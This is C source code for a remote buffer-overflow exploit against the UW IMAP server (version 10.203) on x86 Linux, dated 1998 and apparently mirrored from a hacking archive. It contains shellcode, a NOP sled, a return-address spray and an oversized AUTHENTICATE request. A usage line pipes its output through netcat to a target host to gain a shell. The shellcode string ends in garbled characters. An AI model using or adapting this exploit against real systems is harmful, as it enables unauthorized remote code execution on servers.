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- /*
- UW Imap remote exploit for x86Linux by Juan A. Fernßndez JimΘnez
- (carlosfdez@redestb.es)
- Systems affect: Ummm...I only tested it in IMAP4rev1v10.203
- Greetz to: Koji, Sud, Darkmoon, Marneus, NBH Group ...
- How to use: # (./imaplinux;cat) | nc target_host 143
- Note:
- This exploit is based in the remote exploit created by Cheez Whiz.
- You feel free to change the nops,offsets and esp...the shellcode is
- all original from me... :P ...no problems with toupper()
- ESP=0xBFFFF04C for v10.203
- 22/07/98 23:26
- */
-
- #define BUF 2048
- #define NOP 0x90
-
- char shellcode[]=
- "\xeb\x33\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x80\x46"
- "\x01\x80\x80\x46\x02\x80\x80\x46\x03\x80\x80\x46\x05\x80\x80\x46"
- "\x06\x80\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
- "\x89\xd8\x40\xcd\x80\xe8\xc8\xff\xff\xff/ΓΘε/≤Φ.........";
-
- char buffer[BUF];
- long int nop=422,esp=0xBFFFF04C,offset=100;
-
- void main()
- {
- int cont;
-
- memset(buffer,NOP,sizeof(buffer));
- memcpy(buffer+nop,shellcode,strlen(shellcode));
-
- for(cont=nop+strlen(shellcode);cont < BUF-4;cont+=4) *((int *)
- &buffer[cont])=esp+offset;
-
- printf("* AUTHENTICATE {%d}\r\n",BUF);
- for(cont=0;cont<sizeof(buffer);cont++) putchar(buffer[cont]);
- printf("\r\n");
- }
- /* www.hack.co.za [2000]*/